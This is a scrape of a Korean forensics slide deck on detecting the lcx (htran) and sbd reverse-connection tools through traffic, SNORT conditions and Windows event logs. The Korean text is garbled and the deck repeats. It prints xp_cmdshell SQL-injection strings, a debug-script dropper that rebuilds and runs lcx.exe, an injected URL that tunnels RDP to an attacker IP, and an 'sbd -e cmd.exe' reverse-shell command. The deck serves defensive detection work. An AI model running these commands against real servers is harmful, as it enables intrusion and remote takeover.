際際滷

際際滷Share a Scribd company logo
FORENSIC INSIGHT;
DIGITAL FORENSICS COMMUNITY IN KOREA
Reverse Connection Tool Analysis
How to write detection pattern of attackers tool
malwarel4b
demantos@gmail.com
http://malwarel4b.blogspot.kr
http://malwarelab.tistory.com/
Cho Hoon
forensicinsight.org Page 2
INDEX
1. Attack Scenario
2. Attack Demonstration
3. Analyze lcx(aka htran) traffic
4. Analyze sbd(Shadowintegers Backdoor) traffic
5. Event Log
6. Reference
forensicinsight.org Page 3
Attack Scenario
- Upload Vulnerability
- SQL Injection
- EXE TO TEXT
forensicinsight.org Page 4
Attack Scenario
 企り姥 襦螳?
 Webshell (asp, aspx, jsp, php, inc, html, cer )
 bat, exe 
 襦  殊  蟆讀 襷れ拘讀
 Whitelist :  レ襷 襦 螳
 Blacklist : 讌  レ 讌
 轟 レ 覈 螳讌 襦 伎 朱 覲危 Blacklist襯  谿
 壱 覦覯 れ  a.jpg.aps, a.jpg;a.asp, a.php.jpg
 轟 谿蠍 伎 exe bat レ 谿讌  蟆曙郁 襷
 殊 豌 4~8覦危 襷 誤伎 谿
  蠏碁豌 (GIF39a, JFIF, %PNG )
Upload Vulnerability
forensicinsight.org Page 5
Attack Scenario
  襦 ?
 襦 蟆暑 谿場   guessing, File download 豬曙 伎
 襦 启 ろ 蟠 蟇磯  蟆曙一?
Upload Vulnerability
forensicinsight.org Page 6
Attack Scenario
 But, 襦 豬曙襷朱 覿譟燕!!
   襦  螻
 襦 殊 蟆暑 谿場螻
 蠏碁, ろ襷 る .
 轟覯襯 牛 覯 殊 覯 ろる?
 轟 伎蟆 螳 所
 SQL Injection 伎.
Upload Vulnerability
forensicinsight.org Page 7
Attack Scenario
 瑚朱 螳 襷 瑚螻 瑚朱 螳 襷 覲危 覃貉る讀 讌襷
 豬渚 危瑚 襷 螻糾鴬れ 譯  螻糾鴬 蠍磯
 SQL Injection 牛 ろ 覈 ろ
 xp_cmdshell
 MS-SQL 2005覿磯 蠍磯蓋朱 觜燕  蠏碁り 蠍壱 HACKERれ !!
 SP_ADDEXTENDEDPROC螻 SP_CONFIGURE 襦襯 牛 燕 螳
 SP_Oacreate, SP_OAMETHOD
 OLE 螳豌伎 語ろ伎 
 OLE 螳豌伎 覃 語
SQL Injection
forensicinsight.org Page 8
Attack Scenario
 xp_cmdshell 燕
 ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell',
1 ; reconfigure;--
 ; exec master.dbo.xp_cmdshell 'system command';--
 xp_cmdshell 豌企ゼ 觜燕蟇磯  蟆曙
 http://support.microsoft.com/kb/891984/en-us
 SP_OAcreate, SP_OAMETHOD
 xp_cmdshell  蟠 襷 蟇磯   蟆曙
 ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD
@o,'run',null, 'system command';--
SQL Injection
forensicinsight.org Page 9
Attack Scenario
 襦 殊  whitelist 豈 伎  襦螳 覃?
 But, SQL Injection る?
 EXE TO TEXT襯 伎伎 覦企襴 殊 ろ 襦 襷れ伎 燕蟇磯
 Batch 殊 螻糾鴬螳 譴觜 FTP襯 牛 殊 れ企伎 ろ蟆 覃 .
EXE TO TEXT
forensicinsight.org Page 10
Attack Scenario
 But, EXE TO TEXT襯 牛 豢豢 螳 SQL Injection朱 襷 蟇  殊 .
 lcx.exe (32Kbyte)襯 EXE TO TEXT襦 覲 2056 殊語朱 覲
 讀, SQL Injection 2056覯 れ   り 讌蟆
 蟆郁記, Batch  襷れ伎 れ企蟆 蟆  ク
 覲 螳  朱 襷  debug 覈轟 牛伎 ろ 朱 覲
EXE TO TEXT
echo off
echo n Ashiyane > Q7X
echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X
echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X
...snip...
echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X
echo e 8100 0 >> Q7X
echo rcx >> Q7X
echo 8000 >> Q7X
echo w >> Q7X
echo q >> Q7X
debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
forensicinsight.org Page 11
Attack Demonstration
forensicinsight.org Page 12
Attack Demonstration
Attacker Side
http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell
'c:inetpubwwwrootuploadlcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--
forensicinsight.org Page 13
Attack Demonstration
Connect Attackers another port
forensicinsight.org Page 14
Analyze lcx(aka htran) traffic
- Attack Flow
- Analyze Network Packet
- Writing Detect Pattern
forensicinsight.org Page 15
Analyze lcx(aka htran) traffic
Attack Flow
attacker> lcx -listen 4444 5555
victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389
attacker> mstsc 127.0.0.1:5555
forensicinsight.org Page 16
Analyze lcx(aka htran) traffic
 螻糾鴬螳 mstsc襯 伎  5555 碁 覃 螻糾鴬  蟆 磯碁螻 
蟆一 襷碕伎.
Analyze Network Packet
forensicinsight.org Page 17
Analyze lcx(aka htran) traffic
 螻糾鴬螳 LISTEN Port襯 3389襦 讌 蟆曙 Wireshark Port 覯碁ゼ 覲願 企
襯 燕伎 豢ロ伎.
Analyze Network Packet
forensicinsight.org Page 18
Analyze lcx(aka htran) traffic
  蟆 一ろ 郁屋
Analyze Network Packet
forensicinsight.org Page 19
Analyze lcx(aka htran) traffic
Analyze Network Packet
lcx Reverse Connection
- Window Size : 65535
- attacker:3389  victim:{random port}
Normal RDP Connection
- Window Size : 8192
- attacker:{random port}  victim:3389
forensicinsight.org Page 20
Analyze lcx(aka htran) traffic
 螻 lcx襯 伎 Reverse Connection 谿伎
 TCP Window size螳 朱 螻 るゴ. (Window size=65535)
 Payload 螳讌襷 SRC Port DST Port螳 れ伎 .
 伎豌伎覲 TTL 螳螻 TCP Window size
Analyze Network Packet
Operating System (OS) IP Initial TTL TCP window size
Linux (Kernel 2.4 and 2.6) 64 5840
Googles customized Linux 64 5720
FreeBSD 64 65535
Windows XP 128 65535 -> ?????
Windows 7, Vista and Server 2008 128 8192
Cisco Router (IOS 12.4) 255 4128
<豢豌> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
forensicinsight.org Page 21
Analyze lcx(aka htran) traffic
 れ ろ誤企慨 Windows XP TCP Window size螳 64240伎.
Analyze Network Packet
XP -> Linux
XP -> Win 2003
7 -> Linux
7 -> Win 2003
Win 2003 -> Linux
Win 2003 -> Win 2003
forensicinsight.org Page 22
Analyze lcx(aka htran) traffic
 襷 螻糾鴬螳 Windows 2003 覯襯  PC れ伎 る?
 襷 螻糾鴬螳 レ  るジ Windows 2003 覯 螻糾鴬 蟆企朱?
 TCP Windows size襦 讌 蟆 覩瑚 .
 血 企襷朱 讌螳 覿螳ロ.
 Port 覯語 Flow襷 るゼ 訖  TPKT, RDP 旧螻 企螳 狩蠍 覓
 蠏碁 企至? How?
  螳讌 譟郁唄 螻 襷譟燕 蟆曙 讌蟆 伎   SNORT
Writing Detect Pattern
forensicinsight.org Page 23
Analyze lcx(aka htran) traffic
 lcx Reverse Connection 讌蠍  譟郁唄
 企 -> 碁 SYN 血 Window size螳 65535 蟆曙 (A)
 碁 -> 企 碁 譴 TPKT 血 DST Port螳 3389螳  蟆曙 (B)
   譟郁唄 襦 覈 襷譟燕  讌覃 .
 Q. TPKT 血碁 DST Port螳 3389螳  蟆曙郁   蟾?
Writing Detect Pattern
forensicinsight.org Page 24
Analyze sbd(Shadowintegers Backdoor) traffic
- Attack Flow
- Analyze Network Packet
- Dig into Source Code
- Writing Detect Pattern
forensicinsight.org Page 25
Analyze sbd(Shadowintegers Backdoor) traffic
 sbd netcat 企朱 蠍磯蓋朱 誤 蠍磯レ 螻牛.
 蠏碁Μ螻 る 螻糾 .
 http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
 蠏碁る, Packet 覿伎 讌 伎 燕  螳?
 焔 伎 ろ  覩  殊   螳?
 sbd襯 牛 Reverse Connection 郁屋 轟 譟賀螳?
 るジ ろ語 郁屋り骸 るジ sbd襷 螳 轟 る ろ 豕朱 譴願 讌 蟆
 螳ロ.
Attack Flow
attacker> sbd -l -v -p 6666
victim> sbd -e cmd.exe attacker 6666
forensicinsight.org Page 26
 Reverse Connection Traffic with sbd
Analyze sbd(Shadowintegers Backdoor) traffic
Analyze Network Packet
forensicinsight.org Page 27
Analyze sbd(Shadowintegers Backdoor) traffic
 誤 旧 蟇壱螻 郁屋 襷碕朱
Analyze Network Packet
forensicinsight.org Page 28
Analyze sbd(Shadowintegers Backdoor) traffic
 sbd襦 Reverse Connection 襷碕 蟆曙一 轟 譟賀.
  20覯  ろ誤螻 Windows襷 ろ .
 Victim 襴れ 蟆曙  Flow 譴 4,5覯讌碁 .
 一 cmd.exe ろ  覦磯螳 譟賀讌襷 /bin/bash襦 reverse connection
 蟆曙 覦磯 覃讌螳 蠍 覓語
Analyze Network Packet
forensicinsight.org Page 29
Analyze sbd(Shadowintegers Backdoor) traffic
 れ襯 誤企慨覃 pel.c 殊 豕豐 郁屋 企殊伎誤(Victim) IV(Initial
Vector)襯 燕伎 ″ 企 ° 一危一 蠍郁 40bytes企.
Dig into Source Code
forensicinsight.org Page 30
Analyze sbd(Shadowintegers Backdoor) traffic
 覯(Attacker) 企殊伎誤語蟆 ° 40bytes Initial Vector襯 伎
Session Key襯 れ.
 螻糾鴬螳 れ襯 讌  伎 ° 40bytes襯 讌 譟郁唄朱  螳
Dig into Source Code
forensicinsight.org Page 31
Analyze sbd(Shadowintegers Backdoor) traffic
 語 蟲  企殊伎誤語 覯 Handshake 螻殊 牛 郁屋 襷埼.
Dig into Source Code
pel_client_init
pel_server_init
forensicinsight.org Page 32
Analyze sbd(Shadowintegers Backdoor) traffic
 螳螳 52bytes 譯手 覦朱 16覦危 一  襾語 一危磯ゼ 一壱伎 
Dig into Source Code
forensicinsight.org Page 33
Analyze sbd(Shadowintegers Backdoor) traffic
 sbd 蠍磯蓋朱 誤 旧 螻牛覃 螻糾鴬 レ 麹 襷るレ 蠍磯レ
蠍 覓語 蟲褐 誤 蠍磯レ 伎螻 讌  蟆企.
 讀, 誤蠍 覓語 Payload襦 讌 蟆 覿螳
 sbd 螳  轟
 3way Handshake 危 企殊伎誤(Victim) 覯(Attacker)襦 40byte 一危磯ゼ 
 企殊伎誤語 覯襦 52byte 一危 
 覯 企殊伎誤碁 52byte 一危 
Writing Detect Pattern
forensicinsight.org Page 34
Analyze sbd(Shadowintegers Backdoor) traffic
 sbd Reverse Connection 讌蠍  譟郁唄
 3螳讌 譟郁唄 谿朱 襷れ広 蟆曙一襷 讌襦  
 SNORT flowbits 旧 
Writing Detect Pattern
forensicinsight.org Page 35
Event Log
forensicinsight.org Page 36
Event Log
 豺伎螻譟一 蟯 覲 蟆曙
 lcx sbd 殊  螳螻 豪蠏 煙 誤伎 殊 企 蟆暑襯 牛 襦  
讌 語 螳ロ讌襷 語 (Reverse Connection) 讌 朱 螳讌螻 
 覿螳ロ.
 lcx 蟆曙 蟆 磯碁  蠍 覓語 企欧 襦蠏語  .
 sbd cmd.exe襷 ろ伎 Reverse Connection 襷崎鍵 覓語  讌 .
 UserAssist Prefetch(App Prefetch螳 れ る) 螳 覲企ゼ 牛 ろ  ろ
 螳 讌  .
forensicinsight.org Page 37
Event Log
 lcx襯 牛 Reverse Connection 襷碕 蟆曙
 680 : Account Used for Logon by
 552 : 企 るジ 螳 襦蠏語  覈 蟆 讀覈 伎 襦蠏語 
 528 : 襦蠏語 炎概
 576 : 蟠 覿
 682 : 語 郁屋
 Event ID 552 682 蟆曙 蠍一_ 郁屋 螳 襦蠏語ろ 讌 螻 語襷  
  蟆曙 覦 企欧 襦蠏碁 れ 覦讌   .
forensicinsight.org Page 38
Event Log
 Event ID 528 襦蠏語 炎概 覃讌襦 襦蠏語 螻 覲 ろ語 譯殊襯 誤 
.
 襦蠏語  10 蟆朱  覈襦 襦蠏語 蟆 覩誤. (RemoteInteractive)
 蟆 襦蠏語 覲碁ろ語譯殊螳 襦貉語ろ(127.0.0.1) 蟆 伎.
 覲碁ろ語譯殊螳 127.0.0.1企朱 襦蠏語  2伎伎 .
forensicinsight.org Page 39
Event Log
 語 蟇磯 郁屋 覦 企欧 襦蠏語 企殊伎誤 企螻 企殊伎誤 譯殊
螳 .
 螻糾鴬螳 蟆 磯碁 蠏殊 mstsc 127.0.0.1:5555 螳 螳  螻糾鴬 
れ IP襯 朱 企欧 襦蠏語 企殊伎誤 譯殊螳 127.0.0.1襦 襦蟾.
forensicinsight.org Page 40
Reference
 Passive OS Fingerprinting
 http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
 HTran(HUC Packet Transmit Tool)
 http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7
 Window size 螳
 http://4network.tistory.com/entry/windowsize
 Permanent Reverse Backdoor for IPhone / IPad
 http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/
 sbd-1.36.tar.gz
 http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html
forensicinsight.org Page 41
Question and Answer

More Related Content

(130216) #fitalk reverse connection tool analysis

  • 1. FORENSIC INSIGHT; DIGITAL FORENSICS COMMUNITY IN KOREA Reverse Connection Tool Analysis How to write detection pattern of attackers tool malwarel4b demantos@gmail.com http://malwarel4b.blogspot.kr http://malwarelab.tistory.com/ Cho Hoon
  • 2. forensicinsight.org Page 2 INDEX 1. Attack Scenario 2. Attack Demonstration 3. Analyze lcx(aka htran) traffic 4. Analyze sbd(Shadowintegers Backdoor) traffic 5. Event Log 6. Reference
  • 3. forensicinsight.org Page 3 Attack Scenario - Upload Vulnerability - SQL Injection - EXE TO TEXT
  • 4. forensicinsight.org Page 4 Attack Scenario 企り姥 襦螳? Webshell (asp, aspx, jsp, php, inc, html, cer ) bat, exe 襦 殊 蟆讀 襷れ拘讀 Whitelist : レ襷 襦 螳 Blacklist : 讌 レ 讌 轟 レ 覈 螳讌 襦 伎 朱 覲危 Blacklist襯 谿 壱 覦覯 れ a.jpg.aps, a.jpg;a.asp, a.php.jpg 轟 谿蠍 伎 exe bat レ 谿讌 蟆曙郁 襷 殊 豌 4~8覦危 襷 誤伎 谿 蠏碁豌 (GIF39a, JFIF, %PNG ) Upload Vulnerability
  • 5. forensicinsight.org Page 5 Attack Scenario 襦 ? 襦 蟆暑 谿場 guessing, File download 豬曙 伎 襦 启 ろ 蟠 蟇磯 蟆曙一? Upload Vulnerability
  • 6. forensicinsight.org Page 6 Attack Scenario But, 襦 豬曙襷朱 覿譟燕!! 襦 螻 襦 殊 蟆暑 谿場螻 蠏碁, ろ襷 る . 轟覯襯 牛 覯 殊 覯 ろる? 轟 伎蟆 螳 所 SQL Injection 伎. Upload Vulnerability
  • 7. forensicinsight.org Page 7 Attack Scenario 瑚朱 螳 襷 瑚螻 瑚朱 螳 襷 覲危 覃貉る讀 讌襷 豬渚 危瑚 襷 螻糾鴬れ 譯 螻糾鴬 蠍磯 SQL Injection 牛 ろ 覈 ろ xp_cmdshell MS-SQL 2005覿磯 蠍磯蓋朱 觜燕 蠏碁り 蠍壱 HACKERれ !! SP_ADDEXTENDEDPROC螻 SP_CONFIGURE 襦襯 牛 燕 螳 SP_Oacreate, SP_OAMETHOD OLE 螳豌伎 語ろ伎 OLE 螳豌伎 覃 語 SQL Injection
  • 8. forensicinsight.org Page 8 Attack Scenario xp_cmdshell 燕 ; exec sp_configure 'show advanced options', 1 ; reconfigure ; exec sp_configure 'xp_cmdshell', 1 ; reconfigure;-- ; exec master.dbo.xp_cmdshell 'system command';-- xp_cmdshell 豌企ゼ 觜燕蟇磯 蟆曙 http://support.microsoft.com/kb/891984/en-us SP_OAcreate, SP_OAMETHOD xp_cmdshell 蟠 襷 蟇磯 蟆曙 ;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD @o,'run',null, 'system command';-- SQL Injection
  • 9. forensicinsight.org Page 9 Attack Scenario 襦 殊 whitelist 豈 伎 襦螳 覃? But, SQL Injection る? EXE TO TEXT襯 伎伎 覦企襴 殊 ろ 襦 襷れ伎 燕蟇磯 Batch 殊 螻糾鴬螳 譴觜 FTP襯 牛 殊 れ企伎 ろ蟆 覃 . EXE TO TEXT
  • 10. forensicinsight.org Page 10 Attack Scenario But, EXE TO TEXT襯 牛 豢豢 螳 SQL Injection朱 襷 蟇 殊 . lcx.exe (32Kbyte)襯 EXE TO TEXT襦 覲 2056 殊語朱 覲 讀, SQL Injection 2056覯 れ り 讌蟆 蟆郁記, Batch 襷れ伎 れ企蟆 蟆 ク 覲 螳 朱 襷 debug 覈轟 牛伎 ろ 朱 覲 EXE TO TEXT echo off echo n Ashiyane > Q7X echo e 100 4D 5A 90 0 3 0 0 0 4 0 0 0 FF FF 0 0 >> Q7X echo e 110 B8 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 >> Q7X ...snip... echo e 80F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> Q7X echo e 8100 0 >> Q7X echo rcx >> Q7X echo 8000 >> Q7X echo w >> Q7X echo q >> Q7X debug <Q7X>nul & ren Ashiyane lcx.exe & lcx.exe & echo on
  • 12. forensicinsight.org Page 12 Attack Demonstration Attacker Side http://victim.com/board_view.asp?num=33;exec master.dbo.xp_cmdshell 'c:inetpubwwwrootuploadlcx.exe -slave 20.20.20.61 4444 127.0.0.1 3389';--
  • 13. forensicinsight.org Page 13 Attack Demonstration Connect Attackers another port
  • 14. forensicinsight.org Page 14 Analyze lcx(aka htran) traffic - Attack Flow - Analyze Network Packet - Writing Detect Pattern
  • 15. forensicinsight.org Page 15 Analyze lcx(aka htran) traffic Attack Flow attacker> lcx -listen 4444 5555 victim> lcx -slave 10.10.10.62 4444 127.0.0.1 3389 attacker> mstsc 127.0.0.1:5555
  • 16. forensicinsight.org Page 16 Analyze lcx(aka htran) traffic 螻糾鴬螳 mstsc襯 伎 5555 碁 覃 螻糾鴬 蟆 磯碁螻 蟆一 襷碕伎. Analyze Network Packet
  • 17. forensicinsight.org Page 17 Analyze lcx(aka htran) traffic 螻糾鴬螳 LISTEN Port襯 3389襦 讌 蟆曙 Wireshark Port 覯碁ゼ 覲願 企 襯 燕伎 豢ロ伎. Analyze Network Packet
  • 18. forensicinsight.org Page 18 Analyze lcx(aka htran) traffic 蟆 一ろ 郁屋 Analyze Network Packet
  • 19. forensicinsight.org Page 19 Analyze lcx(aka htran) traffic Analyze Network Packet lcx Reverse Connection - Window Size : 65535 - attacker:3389 victim:{random port} Normal RDP Connection - Window Size : 8192 - attacker:{random port} victim:3389
  • 20. forensicinsight.org Page 20 Analyze lcx(aka htran) traffic 螻 lcx襯 伎 Reverse Connection 谿伎 TCP Window size螳 朱 螻 るゴ. (Window size=65535) Payload 螳讌襷 SRC Port DST Port螳 れ伎 . 伎豌伎覲 TTL 螳螻 TCP Window size Analyze Network Packet Operating System (OS) IP Initial TTL TCP window size Linux (Kernel 2.4 and 2.6) 64 5840 Googles customized Linux 64 5720 FreeBSD 64 65535 Windows XP 128 65535 -> ????? Windows 7, Vista and Server 2008 128 8192 Cisco Router (IOS 12.4) 255 4128 <豢豌> http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting
  • 21. forensicinsight.org Page 21 Analyze lcx(aka htran) traffic れ ろ誤企慨 Windows XP TCP Window size螳 64240伎. Analyze Network Packet XP -> Linux XP -> Win 2003 7 -> Linux 7 -> Win 2003 Win 2003 -> Linux Win 2003 -> Win 2003
  • 22. forensicinsight.org Page 22 Analyze lcx(aka htran) traffic 襷 螻糾鴬螳 Windows 2003 覯襯 PC れ伎 る? 襷 螻糾鴬螳 レ るジ Windows 2003 覯 螻糾鴬 蟆企朱? TCP Windows size襦 讌 蟆 覩瑚 . 血 企襷朱 讌螳 覿螳ロ. Port 覯語 Flow襷 るゼ 訖 TPKT, RDP 旧螻 企螳 狩蠍 覓 蠏碁 企至? How? 螳讌 譟郁唄 螻 襷譟燕 蟆曙 讌蟆 伎 SNORT Writing Detect Pattern
  • 23. forensicinsight.org Page 23 Analyze lcx(aka htran) traffic lcx Reverse Connection 讌蠍 譟郁唄 企 -> 碁 SYN 血 Window size螳 65535 蟆曙 (A) 碁 -> 企 碁 譴 TPKT 血 DST Port螳 3389螳 蟆曙 (B) 譟郁唄 襦 覈 襷譟燕 讌覃 . Q. TPKT 血碁 DST Port螳 3389螳 蟆曙郁 蟾? Writing Detect Pattern
  • 24. forensicinsight.org Page 24 Analyze sbd(Shadowintegers Backdoor) traffic - Attack Flow - Analyze Network Packet - Dig into Source Code - Writing Detect Pattern
  • 25. forensicinsight.org Page 25 Analyze sbd(Shadowintegers Backdoor) traffic sbd netcat 企朱 蠍磯蓋朱 誤 蠍磯レ 螻牛. 蠏碁Μ螻 る 螻糾 . http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html 蠏碁る, Packet 覿伎 讌 伎 燕 螳? 焔 伎 ろ 覩 殊 螳? sbd襯 牛 Reverse Connection 郁屋 轟 譟賀螳? るジ ろ語 郁屋り骸 るジ sbd襷 螳 轟 る ろ 豕朱 譴願 讌 蟆 螳ロ. Attack Flow attacker> sbd -l -v -p 6666 victim> sbd -e cmd.exe attacker 6666
  • 26. forensicinsight.org Page 26 Reverse Connection Traffic with sbd Analyze sbd(Shadowintegers Backdoor) traffic Analyze Network Packet
  • 27. forensicinsight.org Page 27 Analyze sbd(Shadowintegers Backdoor) traffic 誤 旧 蟇壱螻 郁屋 襷碕朱 Analyze Network Packet
  • 28. forensicinsight.org Page 28 Analyze sbd(Shadowintegers Backdoor) traffic sbd襦 Reverse Connection 襷碕 蟆曙一 轟 譟賀. 20覯 ろ誤螻 Windows襷 ろ . Victim 襴れ 蟆曙 Flow 譴 4,5覯讌碁 . 一 cmd.exe ろ 覦磯螳 譟賀讌襷 /bin/bash襦 reverse connection 蟆曙 覦磯 覃讌螳 蠍 覓語 Analyze Network Packet
  • 29. forensicinsight.org Page 29 Analyze sbd(Shadowintegers Backdoor) traffic れ襯 誤企慨覃 pel.c 殊 豕豐 郁屋 企殊伎誤(Victim) IV(Initial Vector)襯 燕伎 ″ 企 ° 一危一 蠍郁 40bytes企. Dig into Source Code
  • 30. forensicinsight.org Page 30 Analyze sbd(Shadowintegers Backdoor) traffic 覯(Attacker) 企殊伎誤語蟆 ° 40bytes Initial Vector襯 伎 Session Key襯 れ. 螻糾鴬螳 れ襯 讌 伎 ° 40bytes襯 讌 譟郁唄朱 螳 Dig into Source Code
  • 31. forensicinsight.org Page 31 Analyze sbd(Shadowintegers Backdoor) traffic 語 蟲 企殊伎誤語 覯 Handshake 螻殊 牛 郁屋 襷埼. Dig into Source Code pel_client_init pel_server_init
  • 32. forensicinsight.org Page 32 Analyze sbd(Shadowintegers Backdoor) traffic 螳螳 52bytes 譯手 覦朱 16覦危 一 襾語 一危磯ゼ 一壱伎 Dig into Source Code
  • 33. forensicinsight.org Page 33 Analyze sbd(Shadowintegers Backdoor) traffic sbd 蠍磯蓋朱 誤 旧 螻牛覃 螻糾鴬 レ 麹 襷るレ 蠍磯レ 蠍 覓語 蟲褐 誤 蠍磯レ 伎螻 讌 蟆企. 讀, 誤蠍 覓語 Payload襦 讌 蟆 覿螳 sbd 螳 轟 3way Handshake 危 企殊伎誤(Victim) 覯(Attacker)襦 40byte 一危磯ゼ 企殊伎誤語 覯襦 52byte 一危 覯 企殊伎誤碁 52byte 一危 Writing Detect Pattern
  • 34. forensicinsight.org Page 34 Analyze sbd(Shadowintegers Backdoor) traffic sbd Reverse Connection 讌蠍 譟郁唄 3螳讌 譟郁唄 谿朱 襷れ広 蟆曙一襷 讌襦 SNORT flowbits 旧 Writing Detect Pattern
  • 36. forensicinsight.org Page 36 Event Log 豺伎螻譟一 蟯 覲 蟆曙 lcx sbd 殊 螳螻 豪蠏 煙 誤伎 殊 企 蟆暑襯 牛 襦 讌 語 螳ロ讌襷 語 (Reverse Connection) 讌 朱 螳讌螻 覿螳ロ. lcx 蟆曙 蟆 磯碁 蠍 覓語 企欧 襦蠏語 . sbd cmd.exe襷 ろ伎 Reverse Connection 襷崎鍵 覓語 讌 . UserAssist Prefetch(App Prefetch螳 れ る) 螳 覲企ゼ 牛 ろ ろ 螳 讌 .
  • 37. forensicinsight.org Page 37 Event Log lcx襯 牛 Reverse Connection 襷碕 蟆曙 680 : Account Used for Logon by 552 : 企 るジ 螳 襦蠏語 覈 蟆 讀覈 伎 襦蠏語 528 : 襦蠏語 炎概 576 : 蟠 覿 682 : 語 郁屋 Event ID 552 682 蟆曙 蠍一_ 郁屋 螳 襦蠏語ろ 讌 螻 語襷 蟆曙 覦 企欧 襦蠏碁 れ 覦讌 .
  • 38. forensicinsight.org Page 38 Event Log Event ID 528 襦蠏語 炎概 覃讌襦 襦蠏語 螻 覲 ろ語 譯殊襯 誤 . 襦蠏語 10 蟆朱 覈襦 襦蠏語 蟆 覩誤. (RemoteInteractive) 蟆 襦蠏語 覲碁ろ語譯殊螳 襦貉語ろ(127.0.0.1) 蟆 伎. 覲碁ろ語譯殊螳 127.0.0.1企朱 襦蠏語 2伎伎 .
  • 39. forensicinsight.org Page 39 Event Log 語 蟇磯 郁屋 覦 企欧 襦蠏語 企殊伎誤 企螻 企殊伎誤 譯殊 螳 . 螻糾鴬螳 蟆 磯碁 蠏殊 mstsc 127.0.0.1:5555 螳 螳 螻糾鴬 れ IP襯 朱 企欧 襦蠏語 企殊伎誤 譯殊螳 127.0.0.1襦 襦蟾.
  • 40. forensicinsight.org Page 40 Reference Passive OS Fingerprinting http://www.netresec.com/?page=Blog&month=2011-11&post=Passive-OS-Fingerprinting HTran(HUC Packet Transmit Tool) http://code.google.com/p/archive-code/source/browse/trunk/HTran/HTran.cpp?r=7 Window size 螳 http://4network.tistory.com/entry/windowsize Permanent Reverse Backdoor for IPhone / IPad http://www.coresec.org/2012/04/24/permanent-reverse-backdoor-for-iphone-ipad/ sbd-1.36.tar.gz http://packetstormsecurity.com/files/34401/sbd-1.36.tar.gz.html